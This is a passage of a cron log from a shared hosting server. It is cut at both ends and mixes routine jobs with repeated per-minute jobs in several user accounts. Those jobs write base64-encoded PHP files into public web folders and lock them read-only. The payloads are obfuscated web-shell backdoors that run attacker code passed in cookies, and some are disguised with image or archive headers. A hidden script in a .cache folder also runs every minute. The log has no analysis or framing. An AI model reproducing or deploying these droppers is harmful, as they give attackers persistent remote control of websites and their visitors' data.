cm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:07:01 medusa CROND[5628]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:07:01 medusa CROND[5634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:07:01 medusa CROND[5636]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:07:01 medusa CROND[5635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:07:01 medusa CROND[5630]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:07:01 medusa CROND[5639]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:08:01 medusa CROND[7469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:08:01 medusa CROND[7471]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 07:08:01 medusa CROND[7470]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:08:01 medusa CROND[7472]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:08:01 medusa CROND[7473]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:08:01 medusa CROND[7474]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:08:01 medusa CROND[7477]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:08:01 medusa CROND[7478]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:08:01 medusa CROND[7480]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:08:01 medusa CROND[7485]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:08:01 medusa CROND[7490]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:08:01 medusa CROND[7488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:08:01 medusa CROND[7492]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:08:01 medusa CROND[7487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:09:01 medusa CROND[9268]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:09:01 medusa CROND[9271]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:09:01 medusa CROND[9279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:09:01 medusa CROND[9281]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 07:09:01 medusa CROND[9282]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:09:01 medusa CROND[9283]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:09:01 medusa CROND[9285]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:09:01 medusa CROND[9286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:09:01 medusa CROND[9289]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:09:01 medusa CROND[9290]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:09:01 medusa CROND[9293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdC